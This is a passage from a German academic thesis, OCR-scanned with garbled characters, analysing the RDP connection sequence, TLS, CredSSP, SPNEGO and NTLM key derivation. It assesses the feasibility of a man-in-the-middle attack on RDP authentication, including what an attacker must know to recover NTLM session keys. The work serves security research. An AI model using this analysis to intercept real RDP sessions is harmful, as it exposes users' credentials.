Der MitM sollte auch in der Lage sein, diese Nachricht vom Server an den Client
weiterzuleiten. Da der Server die Lizenz des Clients genehmigt, wenn er nicht tber einen

eigenen Lizenzierungsserver verfligt, sollte auch dies einen MitM-Angriff nicht verhindern.

Capabilities Exchange

= | Demand Active PO
-*1 Monitor Layout PDL :
' Confirm Active PDU -

Abbildung 11: Capabilities Exchange (Quelle: (Microsoft, 2021))

In dieser Phase des Verbindungsaufbaus sendet der Server die von ihm unterstiitzten Features
an den Client. Der Client antwortet auf diese Nachricht mit einer Bestatigung, die wiederum
seine eigenen Features beinhaltet. (Abbildung 11)
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Diese Nachrichten, die die unterstiitzten Features des jeweils anderen ankiindigen, sollten
einfach weitergeleitet werden kénnen. Der MitM in seiner einfachsten Funktion muss lediglich
in der Lage sein, die Kommunikation abzuhoren und keine eigenen Features erzwingen. Daher
missen an diesen Nachrichten auch keine Anderungen vorgenommen werden.

Connection Finalization
i Synchronize PDU

Control PO - Cooperate

Control PO - Reques'f Control

Persistent Key List PDLU(s)
Fant List PDU

Synchronize POU

Control POU - Cooperate

Control PDU = Granted Control

Font Map PO

Abbildung 12: Connection Finalization (Quelle: (Microsoft, 2021))

Zum Schluss werden zwischen Client und Server die notwendigen PDUs, Nutzdaten und
Verwaltungsinformationen der Schichten (OSI-Schichtenmodell), ausgetauscht, um den
Verbindungsaufbau abzuschliessen (Abbildung 12). Die in dieser Phase gesendeten Client-zu-
Server-PDUs haben keine Abhangigkeiten von den Server-zu-Client-PDUs.

Wie im Capabilities Exchange ist es auch hier maoglich, diese letzten Nachrichten des
Verbindungsaufbaus ohne weitere Anderungen weiterzuleiten.

5.1.2 Sicherheit

Fir das RDP-Protokoll gibt es zwei Arten von Sicherheitsstufen: «Standard Security» oder
«Enhanced Security».

5.1.2.1 Standard Security

In der Standard-Security wird der Datenverkehr mit dem Verschlisselungsalgorithmus RC4
verschlUsselt. Dazu werden Zufallswerte (Randoms) von Client und Server verwendet, die beim
Verbindungsaufbau von RDP (5.1.1 Verbindungsaufbau) in der Phase «Basic Settings
Exchange» und «Security Commencement» ausgetauscht werden, um einen gemeinsamen
symmetrischen Schlissel zu erzeugen.

5.1.2.2 Enhanced Security

Bei dieser Art von Sicherheit lagert RDP alle Sicherheitsoperationen, wie zum Beispiel Ver- und
Entschlisselung, Integritatsprifungen etc, an eines der folgenden externen
Sicherheitsprotokolle aus:

e TLS

e CredSSP (TLS + NTLM/Kerberos)

e RDSTLS - (Standard RDP Security erweitert mit TLS)

Wenn Enhanced Security verwendet wird, wird in der ersten Phase des RDP-
Verbindungsaufbaus («Connection Initiation») die Option «Enhanced Security» gewahlt. Das
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bedeutet, dass die Phase «Security Commencement» (Generierung von symmetrischen
Schlisseln) fir den Verbindungsaufbau nicht erforderlich ist und daher ausgelassen wird.

Einer der Hauptvorteile der Enhanced Security ist es, dass es die Authentifizierung auf
Netzwerkebene (NLA) ermdglicht. Die Auswahl des Sicherheitsprotokolls kann entweder
«negotiation-based» oder «direct» erfolgen.

Negotiation-based

Client und Server wahlen nach der Initialisierung der RDP-Verbindung (Phase «Connection
Initiation») ein externes Sicherheitsprotokoll aus. Fir dieses fiihren sie dann den Handshake
durch. Ab dann werden alle anderen Phasen der RDP-Verbindung innerhalb dieses externen
Sicherheitsprotokolls gekapselt.

Direct

Diese Option bevorzugt die Sicherheit gegeniiber der Kompatibilitat. Hier beginnt der Client
nach der Phase «Connection Initiation» direkt mit dem Handshake des externen
Sicherheitsprotokolls, bevor er irgendwelche RDP-bezogenen Daten sendet.

5.1.3 Fazit

» CredSSP-geschitztes RDP gehdrt zur Stufe «Enhanced Security».

» Bei Verwendung von Enhanced Security entfallt der Schritt «Security Commencement» im
Verbindungsaufbau.

» CredSSP wird bei RDP durch Erzwingen der NLA-Authentifizierung automatisch
ausgewahlt.

» Im ersten Schritt «<Connection Initiation» des Verbindungsaufbaus informiert der Server den
Client Uber die Erzwingung der NLA.

» Bei Verwendung von NLA wird nach «Connection Initiation» zuerst die Authentifizierung
mittels CredSSP durchgefiihrt und erst dann die RDP-Verbindung aufgebaut.

» Alle Sicherheitsoperationen (Authentifizierung, Ver-/Entschlisselung, Integritatsprifungen,
etc.), werden an CredSSP ausgelagert.

» Alle weiteren Schritte des Verbindungsaufbaus sollten in einem MitM-Fall einfach
weitergereicht werden. (Voraussetzung: Verschlisselungsschlissel bekannt)

» Wie in diesem Abschnitt «<RDP» festgestellt, wird, wenn die Authentifizierung durch NLA
(explizit) geschiutzt ist, diese unmittelbar nach dem ersten Schritt des RDP-
Verbindungsaufbaus durchgefiihrt, bevor die anderen Schritte des Verbindungsaufbaus
ausgefuhrt werden. In diesem Fall entfallt auch der Schritt «Security Commencement» des
RDP-Verbindungsaufbaus, bei dem die Schlissel fir die Verschlisselung in der Standard-
Security erzeugt werden. Das bedeutet, dass die RDP-Verbindung in der Regel nur in
irgendeiner Weise durch CredSSP oder TLS verschlisselt wird. Da CredSSP ein
Sicherheitsdienst ist, der auf TLS aufbaut, ist es notwendig, dass in einem ersten Schritt das
TLS-Protokoll selbst untersucht wird, bevor die Analyse auf CredSSP fortgesetzt wird.
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5.2 TLS

In diesem Kapitel wird das Transport Layer Security Protokoll (TLS) genauer analysiert. TLS
bildet die Grundlage fiir die Enhanced Security RDP Verbindung, da TLS den sicheren Kanal
bereitstellt, iber welchen die gesamte Kommunikation lauft.

Der Inhalt und die Ausfliihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (The Transport Layer Security (TLS) Protocol Version 1.2, 2008)

5.2.1 Funktionsweise

Die kryptographischen Parameter der Session werden vom TLS Handshake (5.2.2 Handshake)
Protokoll produziert.

Wenn ein Client und ein Server beginnen zu kommunizieren, einigen sie sich auf
Protokollversion, wahlen kryptographische Algorithmen, authentifizieren sich gegenseitig
(optional) und benutzen public-key Verschlisselungstechniken um ein geteiltes Geheimnis
(shared secret) zu generieren.

Folgende Schritte beinhaltet das TLS Handshake Protocol:

e Hello Messages austauschen um sich auf Algorithmen zu einigen, Random Values
auszutauschen, und auf Session Wiederaufnahme (Session Resumption) zu prufen.

e Die ndtigen kryptographischen Parameter austauschen, um dem Client und Server zu
erlauben sich auf ein Premaster Secret zu einigen.

e Zertifikate und kryptographische Informationen austauschen, um Client und Server zu
erlauben sich zu authentifizieren.

e Master Secret aus Premaster Secret und aus den ausgetauschten Random Values
generieren.

e Security Parameter bereitstellen fiir den Record Layer

e Client und Server erlauben zu tberprifen, ob ihr Peer die gleichen Security Parameter
berechnet haben und das der Handshake ohne Manipulation eines Angreifers
vonstattenging.

Hohere Schichten sollten sich nicht zu sehr darauf verlassen, dass TLS immer die starkste
mogliche Verbindung zwischen zwei Peers herstellt. Es gibt viele Angriffe wie ein Man-in-the
Middle-Angreifer versuchen kann, dass zwei Entities zu der am wenigsten sicheren Methode
Ubergehen.
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5.2.2 Handshake

Client Server
ClientHello _—
ServerHello
Certificate
ServerKeyExchange
- ServerHelloDone
ClientKeyExchange
ChangeCipherSpec
Finished .
ChangeCipherSpec
Finished
-— [Application Data]
Application Data D E— Application Data

Abbildung 13: TLS Handshake (Quelle: (wolfSSL, 2021))

Der Client sendet sein ClientHello an den Server und der Server muss dann mit einem
ServerHello antworten oder ein «fatal Error» tritt auf und die Verbindung schlagt fehl. Das
ClientHello (Schritt 1 in der Abbildung 13) und das ServerHello (Schritt 2) werden verwendet,
um die Fahigkeit fur Sicherheitsverbesserungen einzurichten. ClientHello und ServerHello
richten folgende Attribute ein: Protokollversion, Session ID, Cipher Suite,
Kompressionsmethode (Compression Method). Zusatzlich werden zwei zufdllige Werte
generiert und ausgetauscht.

Der effektive Schisselaustausch bendtigt bis zu vier Messages: Server Certificate, Server Key
Exchange, Client Certificate und Client Key Exchange. Die Key Exchange Methoden tauschen
Secrets aus im Bereich von 46 Bytes Lange aufwarts.

Nach den Hello Messages sendet der Server sein Zertifikat an den Client, wenn er authentifiziert
werden muss. Zusatzlich kann eine Server Key Exchange Message (Schritt 2) gesendet werden,
wenn es notwendig ist. (z.B. wenn der Server kein Zertifikat hat oder die bendtigten Parameter
fur die Schlusselgenerierung nicht aus dem Zertifikat entnommen werden). Wenn der Server
dann authentifiziert ist, verlangt er moglicherweise ein Zertifikat von Client, wenn das gemass
der gewahlten Cipher Suite angemessen ist. Dann sendet der Server eine Hello Server done
Message (Schritt 2), mit welcher er signalisiert das die hello-message Phase des Handshakes
abgeschlossen ist. Der Server wartet dann auf eine Antwort des Clients.

Wenn der Server eine Certificate Request Message gesendet hat, muss der Client eine
Certificate Message senden. Dann wird der Client Key Exchange (Schritt 3) gesendet und der
Inhalt dieser Message hangt vom gewahlten Public-Key Algorithmus ab, der zwischen
ClientHello und ServerHello gewahlt wurde.

Jetzt sendet der Client eine Change Cipher Spec Message (Schritt 3) und der Client kopiert die
ausstehende Cipher Spec in die aktuelle Cipher Spec. (D.h. dass der Client jetzt auf die
ausgehandelte Cipher Suite wechselt). Und unmittelbar darauf sendet der Client die finished
Message.
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Der Server sendet ebenfalls eine Change Cipher Spec Message und eine Finished Message
(Schritt 4). Jetzt ist der Handshake komplett und Client/Server koénnen beginnen
Applikationsdaten auszutauschen. Applikationsdaten diirfen nicht vor dem Beenden des ersten
Handshakes gesendet werden (bevor eine Cipher Suite etabliert wurde, ausser
TLS_NULL_WITH_NULL_NULL).

5.2.3 Berechnung Premaster und Master Secret

Mit der Server Key Exchange Message Ubertragt der Server entweder einen RSA public Key um
das Premaster Secret zu verschlisseln oder er Uibertragt einen Diffie-Hellman public Key mit
welchem der Client dann den Key Exchange komplettieren kann. Danach sendet dann der
Client seine Client Key Exchange Message, mit welcher das Premaster Secret gesetzt wird,
entweder durch direkte Ubermittlung eines mit RSA verschliisselten Secrets oder durch die
Ubertragung von Diffie-Hellman Parametern, was beiden Seiten erlaubt das gleiche Premaster
Secret zu berechnen.

Falls das Premaster Secret mit RSA verschlisselt Ubertragen wird, generiert der Client das
Premaster Secret.

Master Secret = PRF(pre_master_secret, «master secret», ClientHello.random +
ServerHello.random). Das Master Secret ist immer exakt 48 Byte lang. Die Lange des Premaster
Secret kann je nach Algorithmus variieren. Das Premaster Secret sollte aus dem Speicher
geloscht werden, sobald das Master Secret berechnet wurde. Von diesem Master Secret
werden alle verwendeten Schlissel fir die Verschlisselung und fir die MACs abgeleitet. Wie
genau die Schlussel abgeleitet werden, hangt vom verwendeten Algorithmus ab.

Nach erfolgreichem Ende des Handshakes besteht nun ein sicherer Kanal zwischen zwei
Kommunikationspartnern. Dieser Kanal ist die Grundlage fur das CredSSP Protokoll, welches
im nachsten Kapitel genauer analysiert wird.

5.3 CredSSP

In diesem Abschnitt wird das CredSSP Protokoll genauer analysiert, um die Anmeldedaten
eines Benutzers von einem Client an einem Server zu senden. Bevor die RDP-Verbindung zum
Server hergestellt wird, muss sich der Benutzer mit dem CredSSP Protokoll authentifizieren.
Das Aktivieren der Windows-NLA-Funktion auf der Serverseite erzwingt das CredSSP-Protokoll.

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Microsoft, 2021)
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5.3.1 Funktionsweise

Fur die Funktionsweise des Protokolls sind einige Informationen beim Client und Server
vorausgesetzt, damit sich der Client erfolgreich authentifizieren kann.

CredSSP-Client CredSSP-Server

e Hat Zugriff auf die Anmeldedaten des e Fur die Nonce Generierung muss
Benutzers eine Quelle kryptografischer
nutzlicher Zufallszahlen verfligbar
e Furdie Nonce Generierung muss eine sein
Quelle kryptografischer nutzlicher
Zufallszahlen verfligbar sein e Verflgt Uber ein x.509-Zertifikat fur
die Verwendung von TLS (Das
e GSS-kompatibles Zertifikat kann selbstsigniert oder
Authentifizierungsprotokoll muss von einer fremden
vorhanden sein flr die gegenseitige Zertifizierungsstelle ausgestellt sein)
Client/Server-Authentifizierung
(SPNEGO) e GSS-kompatibles
Authentifizierungsprotokoll muss
vorhanden sein fir die gegenseitige
Client/Server-Authentifizierung
(SPNEGO)

Tabelle 1: CredSSP Funktionsweise

Anhand dieses Sequenzdiagramms (Abbildung 14) werden hier die einzelnen Schritte
detaillierter beschrieben.

CredSSP CredSSP
client server
: 1) TLS ChientHellor "
| ]

: 2) TLS ServerHello (TLS_ECOHE_RSA_WITH_AES_256_GOW_SHA384) !

‘- Certificate
| ServerHelloDone :
| |
| 3) TLS ClientKeyExchange !
i ChangeCipherSpec »>
: finished :
: 4) TLS ChangeCipherSpe -
:‘_// finished !
5) TLS enaypted (TSRequest [SPNEGO token]) »

6) TLS enaypted (TSRequest [SPNEGO token))

SR— |

|
|
|
|
|
-
———— 7) TLS enarypted (TSRequest [SPNEGO enarypted (client hash of public key)))——

: 8) TLS encrypted (TSRequest [SPNEGO enaypted (server hash of public key)))
g

9 TLS encrypted (TSRequest [SPNEGO encrypted (user credentials))}—————»
| '
Abbildung 14: CredSSP Handshake (Quelle: (Microsoft, 2021))
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Schritte 1-4 => Es wird ein TLS-Handshake (5.2.2 Handshake) zwischen CredSSP-Client und
CredSSP-Server durchgefihrt. Hier werden die Cipher Suite, Zertifikate und zuféllig generierte
Werte ausgetauscht. Nach dem TLS Handshake werden alle CredSSP-Messages lber den
verschllsselten TLS-Kanal gesendet.

Schritte 5-6 => Hier verwendet das CredSSP-Protokoll das SPNEGO-Protokoll fir die Server-
und Benutzerauthentifizierung und kann aus einer Reihe maoglicher
Authentifizierungsmechanismen wie z.B. NLTM oder Kerberos wahlen. Im verschlisselten TLS-
Kanal wird der SPNEGO-Handshake zwischen Client und Server fir die gegenseitige
Authentifizierung abgeschlossen und es wird ein Chiffrierschlissel erzeugt.

Schritte 7-8 => Fir die Bindung an die TLS-Sitzung wird der erzeugte SPNEGO
Chiffrierschlissel verwendet. Der Client verschliisselt den Hash des 6ffentlichen Schlissels aus
dem X.509 Zertifikat des Servers mit dem SPNEGO-Chiffrierschliissel und sendet diesen
verschlisselten Hash an den Server. Der Server verifiziert den 6ffentlichen Schliissel, ob der im
TLS-Handshake verwendet wurde und sendet eine verschlisselte Bestdatigung mit dem
SPNEGO-Chiffrierschliissel an den Client.

Schritt 9 => Am Ende des CredSSP-Handshakes werden dann die verschlisselten
Benutzeranmeldeinformationen mit dem SPNEGO-Chiffrierschliissel und vom TLS-Kanal
geschitzt an den Server gesendet.

Alle weiteren Daten werden verschlisselt unter TLS gesendet.

Da CredSSP eine Kombination aus TLS und einem Authentifizierungsmechanismus ist, wird
nachfolgend zuerst die Auswahl des Authentifizierungsmechanismus mit SPNEGO genauer
analysiert und danach die zwei verfligbaren Authentifizierungsmechanismen NTLM und
Kerberos.

5.4 SPNEGO (GSS-API)

Wie in der Theorie beschrieben, ist das SPNEGO-Protokoll ein Erweiterungsmechanismus der
GSS-API, das ermittelt, welche GSS-API-Mechanismen, NTLM oder Kerberos, zur
Authentifizierung des Clients verwendet werden kdnnen. Das Protokoll wahlt dann den
sichersten Mechanismus von den verfigbaren aus und leitet dann alle weiteren
Sicherheitsoperationen an diesen Mechanismus weiter. Wie die GSS-API bietet auch SPNEGO
selbst keine Sicherheit, sondern wird nur verwendet, um zu bestimmen, welcher
Sicherheitsmechanismus verwendet werden soll.

5.5 NTLM

Bei der Analyse des CredSSP-Handshakes (5.3 CredSSP) zeigte sich, dass im Rahmen des
Handshakes in den Schritten 7 und 8 (Abbildung 14) der 6ffentliche Schliissel des Servers
zusammen mit einer konstanten Zeichenkette und einem Zufallswert verkettet und mit dem
SPNEGO-Token verschlisselt Uber den aufgebauten TLS-Kanal zwischen den Parteien
ausgetauscht wird. Dieser wird dann von der empfangenden Partei gepruft und soll einen Man-
in-the-Middle-Angriff verhindern.
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Durch die Analyse des SPNEGO-Protokolls konnte festgestellt werden, dass es sich bei den
SPNEGO-Tokens entweder um NTLM-Authentifizierung oder Kerberos-Authentifizierung
handelt. Daher wird in einem ersten Schritt das Authentifizierungsverfahren mittels NTLM
untersucht und dabei die bei diesem Verfahren ausgetauschten Nachrichten genauer
betrachtet. Ziel dieser Analyse ist es, herauszufinden, wie der im CredSSP-Handshake von
SPNEGO verwendete Verschlisselungsschliissel erzeugt wird.

Der Inhalt und die Ausfliihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Glass, 2006; Microsoft, 2021)

5.5.1 Messages

Das NTLM-Authentifizierungsprotokoll besteht aus drei Nachrichtentypen (Abbildung 15),
NEGOTIATE_MESSAGE, CHALLENGE_MESSAGE und AUTHENTICATE_MESSAGE, die wahrend
der Authentifizierung verwendet werden. Diese NTLM-Nachrichten werden zwischen dem
Client und dem Server ausgetauscht. Diese Nachrichten werden in das Anwendungsprotokoll
eingebettet, das die NTLM-Authentifizierung verwendet. Das NTLM-Protokoll kommt erst zum
Einsatz, wenn es vom Anwendungsprotokoll aufgerufen wird, um eine Authentifizierung
durchzufiihren. NTLM selbst baut keine Transportverbindungen auf und verwendet daher die
bereits aufgebaute TLS-Verbindung fur die Durchfliihrung der Authentifizierung.

Client Server

Lt Application message(s) -
- Application message [NTLM_NEGOTIATE}—— i
;*—Applicatmn message [NTLH_CHALLENGE]—E

t—Application message [NTLM_AUTHENTICATE]——p»

--I Application message(s) -.,

Abbildung 15: NTLM Authentication Messages (Quelle: (Microsoft, 2021))

5.5.1.1 NEGOTIATE_MESSAGE

Die NTLM-Type 1-Nachricht wird vom Client an den Server gesendet, um die NTLM-
Authentifizierung zu initiieren. |hr Hauptzweck besteht darin, die Grundregeln fur die
Authentifizierung festzulegen, indem sie die unterstitzten Optionen Uber die Flags mitteilt.
Optional kann sie dem Server auch den Namen der Arbeitsstation des Clients und die Domane
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mitteilen, in der die Client-Arbeitsstation Mitglied ist. Diese Informationen werden vom Server
verwendet, um festzustellen, ob der Client fiir die lokale Authentifizierung in Frage kommt.

5.5.1.2 CHALLENGE_MESSAGE

Die NTLM-Type 2-Nachricht wird vom Server an den Client als Antwort auf die Typ-1-Nachricht
des Clients gesendet. Sie fuhrt die Aushandlung der Optionen mit dem Client zu Ende und
stellt zudem eine Herausforderung («Challenge») fiir den Client dar. Mit diesem Challenge wird
der Client aufgefordert, seine Identitat zu beweisen. Die Nachricht kann ausserdem optionale
Informationen Uber das Authentifizierungsziel enthalten. Diese Nachricht enthalt somit die
vereinbarten Sicherheitsaspekte, den Challenge und eine Nonce, die der Server generiert.

5.5.1.3 AUTHENTICATE_MESSAGE

Die NTLM-Type 3-Nachricht ist der letzte Schritt der Authentifizierung. Diese Nachricht enthalt
die Antwort des Clients auf die im Typ 2-Nachricht gesendete Challenge, die beweisen soll,
dass der Client das Passwort des Kontos kennt, ohne das Passwort direkt zu Gibermitteln. In
dieser Nachricht werden ausserdem das Authentifizierungsziel (Domanen- oder Servername),
der Benutzername des zu authentifizierenden Kontos und der Name der Client-Arbeitsstation
angegeben.

Der Server validiert die vom Client gesendete Challenge-Antwort, in dem er diese selbst
nachberechnet. Wenn es sich dabei um einen Benutzernamen fir ein lokales Konto handelt,
kann er die Antwort anhand der Infos in seiner Kontodatenbank validieren. Wenn der
Benutzername fir ein Domanenkonto ist, validiert er die Antwort, indem er die User
Authentifizierung Information an einen Domanencontroller (DC) sendet, der die Antwort
validieren kann.

Wenn die Challenge und die Antwort beweisen, dass der Client das Kennwort des Kontos hat,
ist die Authentifizierung erfolgreich, und das Anwendungsprotokoll wird gemass seiner
Spezifikation fortgesetzt. Wenn die Authentifizierung fehlschlagt, kann der Server den Status
auf eine im Anwendungsprotokoll festgelegte Weise senden oder die Verbindung einfach
beenden.

5.5.1.4 Arten von Challenge-Antworten

Der Client erstellt eine oder mehrere Antworten auf die in der Typ-2-Nachricht enthaltene
Challenge und sendet diese in der Typ-3-Nachricht an den Server. Es gibt insgesamt sechs
Arten von Antworten:

e LM (LAN Manager)-Response: Diese Antwort wird von den meisten alteren Clients
gesendet und ist der standardmassige Antworttyp.

e NTLM-Response: Diese wird von NT-basierten Clients, inklusive Windows 2000 und XP,
gesendet.

e NTLMv2-Respone: Ein neuerer Antworttyp, der in Windows NT Service Pack 4
eingefliihrt wurde. Dieser ersetzt die NTLM-Antwort auf Systemen, die NTLM Version 2
aktiviert haben.

e LMv2-Response: Der Ersatz fiir die LM-Response auf Systemen mit NTLM Version 2.
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e NTLM2-Session Response: Wird verwendet, wenn die NTLM2-Sitzungssicherheit ohne
NTLMv2-Authentifizierung ausgehandelt wird.

e Anonymous-Response: Wird verwendet, wenn ein anonymer Kontext eingerichtet wird.
Die tatsachlichen Anmeldeinformationen werden nicht angezeigt, und es findet keine
echte Authentifizierung statt.

5.5.1.5 Ableitung des Verschlisselungsschlissels

Durch die Betrachtung der NTLM-Nachrichten im vorherigen Kapitel (5.5.1 Messages) konnte
festgestellt werden, dass bei der Authentifizierung zwei verschiedene Schlissel erzeugt
werden. Einer dieser beiden wird daher auch fir die Verschlisselung des 6ffentlichen Schlissels
des Servers von SPNEGO verwendet.

Um herauszufinden, wie diese Schlissel generiert werden und welcher davon fir die
Verschlisselung des offentlichen Schllssels des Servers verwendet wird, ist es notwendig, die
Generierung der Schlissel naher zu untersuchen. Dabei stellt sich die Frage, ob und wie sie von
einer dritten Partei neu berechnet werden koénnen.

Die zum Signieren und Verschlisseln verwendeten Schlissel werden als Nebenprodukt des
NTLM-Authentifizierungsprozesses erstellt; zusatzlich zur Verifizierung der Identitat eines
Clients wird beim Authentifizierungs-Handshake ein Kontext zwischen Client und Server
hergestellt, der den Schlissel enthalt, der zum Signieren und Verschlisseln von Nachrichten
zwischen den Kommunikationsteilnehmer bendtigt wird.
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5.5.1.5.1 NTLMv1

NTLM1 ist das urspriingliche Signier- und Verschlisselungsschema von NTLMSSP, das
verwendet wird, wenn das Flag «Negotiate NTLM2 Key» nicht vereinbart wurde. Die Ableitung
der NTLM1-Verschlisselungsschliissel besteht aus einem dreistufigen Prozess:

1. Master Key Negotiation (Key Exchange Key definieren)

2. Key Exchange (Random Key Uibermitteln)

3. Key Weakening

Master Key Negotiation

Im ersten Schritt wird ein 128-Bit-«<Master Key» ausgehandelt, mit dem der letztendliche
Signier- und Verschlussschlissel abgeleitet und verschlisselt wird. Dies wird durch das NTLM-
Flag «Negotiate Lan Manager Key» gesteuert. Falls dieses Flag gesetzt ist, wird der Lan-
Manager-Session Key als Master Key verwendet. Andernfalls wird der geeignete User Session
Key verwendet. In beiden Fallen wird fir die Berechnung (8.2.2 Keys) der Keys jedoch das
Passwort des Clients verwendet.

Key Exchange

Wenn das Flag «Negotiate Key Exchange» gesetzt ist, erzeugt der Client einen neuen 128-Bit
Random Key, der in Zukunft als Verschlisselungsschlissel verwendet werden soll. Dieser wird
mit dem zuvor gewahlten Key Exchange Key RC4-verschlisselt und in der NTLM-Typ-3-
Nachricht im Feld «Session Key» an den Server Ubermittelt. Der Server entschlisselt dann
diesen Wert, um den neuen Verschlisselungsschlissel (Random Key) zu erhalten.

Key Weakening

Zum  Schluss  wird der Verschliusselungsschlissel — abgeschwacht, um  den
Exportbeschrankungen zu entsprechen. Denn NTLM1 unterstitzt nur 40-Bit- und 56-Bit-
Schlissel. Wenn das NTLM-Flag «Negotiate 56» gesetzt ist, wird der 128-Bit
Verschlisselungsschliissel (Random Key) auf 56 Bits abgeschwacht und sonst auf 40 Bits.

Dieser Schritt wird jedoch nur durchgefiihrt, falls der Verschlisselungsschlissel sich aus einem
Lan-Manager-Session Key abgeleitet hat. Denn die LM- und NTLM-User-Session Keys basieren
auf den Kennwort-Hash und nicht auf den Challenge Responses, in denen aber auch das
Kennwort des Benutzers einfliesst. Ein bestimmtes Kennwort ergibt unter NTLM1 immer
denselben User Session Key. Die Schwachung der von LM- oder NTLM-User Session Key
abgeleiteten Verschlisselungsschlissel wurde nicht als notwendig eingestuft, da diese User
Session Keys leicht aus dem Kennwort-Hash eines Benutzers wiederhergestellt werden kdnnen.

5.5.1.5.2 NTLMvZ2

NTLM2 ist ein neueres NTLMSSP Signier- und Verschlisselungsschema, das verwendet wird,
wenn das Flag «Negotiate NTLM2 Key» gesetzt wurde. Die Ableitung dieser
Verschlisselungsschliissel besteht aus vier Schritten:

1. Master Key Negotiation

2. Key Exchange

3. Key Weakening

4. Subkey Generation
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Master Key Negotiation

Beim NTLM2-Signieren und -Verschlisseln wird der User Session Key immer als Basis-Master
Key verwendet. Wenn die NTLMv2-Authentifizierung verwendet wird, wird entweder der LMv2-
oder der NTLMv2-User-Session Key als Master Key eingesetzt. Wenn die NTLMv1-
Authentifizierung mit NTLM2-Sitzungssicherheit verwendet wird, wird der NTLM2 Session
Response User Session Key als Master Key verwendet. Auch bei NTLMv2 wird das Passwort des
Clients zur Berechnung (8.2.2 Keys) des Keys verwendet.

Die in NTLM2 verwendeten User Session Keys sind wesentlich starker als jene in NTLM1 oder
der LAN Manager Session Key, da sie sowohl die Challenge-Response als auch die Client-
Nonce enthalten.

Key Exchange

Der Schlisselaustausch fiir NTLM2 erfolgt wie zuvor fir NTLM1 beschrieben. Auch hier wahlt
der Client einen 128-Bit-Random Key, verschlisselt ihn mit dem Master Key mittels RC4 und
sendet diesen im Feld «Session Key» der NTLM-Typ-3-Nachricht an den Server.

Key Weakening
Die Schlisselschwachung in NTLM2 erfolgt einfach durch Abschneiden des erhaltenen Random
Key auf die gewlinschte Lange.

Der Random Key wird unter NTLM2 nur bei der Erzeugung der Subkeys fur die Verschlisselung
geschwacht. Bei der Erzeugung der Signierschlissel wird immer der volle 128-Bit
Verschlisselungsschlissel verwendet.

Subkey Generation
In NTLM2 werden bis zu vier Subkeys von dem Random Key abgeleitet. Der Random Key wird
nie zum Signieren oder Verschlisseln von Nachrichten verwendet. Die Subkeys werden wie
folgt abgeleitet:
1. Client-Signierschlissel
Der ungeschwachte 128-Bit Random Key wird mit der nullterminierten konstanten
ASClI-Zeichenkette «session key to client-to-server signing key magic constant»
verkettet. Darauf wird der MD5 Message-Digest-Algorithmus angewendet, was einen
16-Byte-Wert ergibt.
2. Server-Siginierschlissel
Der ungeschwachte 128-Bit Random Key wird mit der nullterminierten konstanten
ASCIll-Zeichenkette «session key to server-to-client signing key magic constant
verkettet. Darauf wird der MD5 Message-Digest-Algorithmus angewendet, was einen
16-Byte-Wert ergibt.
3. Client-Verschlisselungsschlissel
Der abgeschwachte (je nachdem, ob 40-Bit-, 56-Bit- oder 128-Bit-Verschlisselung
ausgehandelt wurde) Random Key wird mit der nullterminierten konstanten ASCII-
Zeichenkette «session key to client-to-server sealing key magic constant» verkettet.
Darauf wird der MD5 Message-Digest-Algorithmus angewendet, was einen 16-Byte-
Wert ergibt.

36



4. Server-Verschliisselungsschlissel
Der abgeschwachte (je nachdem, ob 40-Bit-, 56-Bit- oder 128-Bit-Verschllsselung
ausgehandelt wurde) Random Key wird mit der nullterminierten konstanten ASCII-
Zeichenkette «session key to server-to-client sealing key magic constant» verkettet.
Darauf wird der MD5 Message-Digest-Algorithmus angewendet, was einen 16-Byte-
Wert ergibt.

5.5.2 Fazit

» Durch die Analyse des NTLM-Authentifizierungsprotokolls lasst sich feststellen, dass der
von SPNEGO verwendete Verschlisselungsschliissel ein vom Client generierter
Zufallsschliissel ist. In NTLMv1 und NTLMv2 wird dieser Zufallsschlissel durch einen «Key
Exchange Key» verschlisselt, der mit dem Passwort des Clients berechnet und an den
Server Ubertragen wird.

» Fur die Machbarkeitsanalyse des MitM bedeutet dies, dass der MitM das Passwort des
Clients kennen muss, bevor der Server die NTLM CHALLENGE_MESSAGE an den Client
sendet. Nur dann hat der MitM die Mdglichkeit, den Key Exchange Key zu berechnen, der
sowohl vom Client als auch vom Server berechnet wird. Nur in diesem Fall ware es dem
MitM maoglich, die vom Client an den Server gesendete AUTHENTICATE_MESSAGE
abzufangen und das Feld «Session Key» auszulesen. Er kann dann den ausgelesenen Wert
(verschllsselter Zufallsschlissel) durch Kenntnis des Key-Exchange-Keys entschliisseln und
fur die weiteren Schritte von SPNEGO verwenden, insbesondere fir die Verschlisselung
des Public Key des Servers.

5.6 Kerberos

In diesem Kapitel wird das Authentifizierungsprotokoll Kerberos genauer analysiert. Kerberos
ist eine von zwei Mdglichkeiten, neben NTLM, sich beim RDP Verbindungsaufbau mit CredSSP
zu authentifizieren.

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (Kryptowissen.de, 2016)

5.6.1 Funktionsweise

Bei Kerberos sind drei Parteien beteiligt: Client, Server (Ressource im Netzwerk, auf die der
Client zugreifen will) und Kerberos-Server, auch Key Distribution Center genannt (Abbildung
16). Dieses Key Distribution Center besteht aus dem Authentication Server und dem Ticket-
Granting-Server (TGS).

Wenn ein Benutzer auf eine Ressource zugreifen mdchte, meldet er sich zuerst mit seinem
Benutzernamen und Passwort beim Client an. Der Client gibt danach das Passwort in eine
Hashfunktion und wandelt so das Passwort in einen geheimen Schlissel um. Dann sendet der
Client eine Anfrage an den Authentication Server flr ein Ticket-Granting-Ticket. Diese Anfrage
enthalt unter anderem den Benutzernamen, den Namen des Dienstes, auf den der Client
zugreifen mochte und eine Nonce.

Der Authentication Server sendet dann eine Antwort, die unter anderem das Ticket-Granting-
Ticket enthalt. Dieses Ticket-Granting-Ticket ist mit dem Master Key des Key Distribution
Centers verschlisselt. Das Ticket-Granting-Ticket enthalt unter anderem den Benutzernamen,
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die Adresse des Clients, den Session Key und die Giiltigkeitsdauer. Der Client kann dieses
Ticket-Granting-Ticket nicht einsehen, da es mit dem Master Key vom KDC verschlisselt ist.
Daneben enthalt die Antwort auch noch einen Session-Key (Client — TGS), die Nonce aus der
Anfrage, den Namen und einen Zeitstempel. Diese Informationen sind mit dem geheimen
Schliissel vom Client verschliisselt, der vom Passwort abgeleitet wurde.

Danach sendet der Client eine Nachricht an den Ticket-Granting-Server. Diese Nachricht
beinhaltet das Ticket-Granting-Ticket, den Namen der Ressource, auf welche der Client
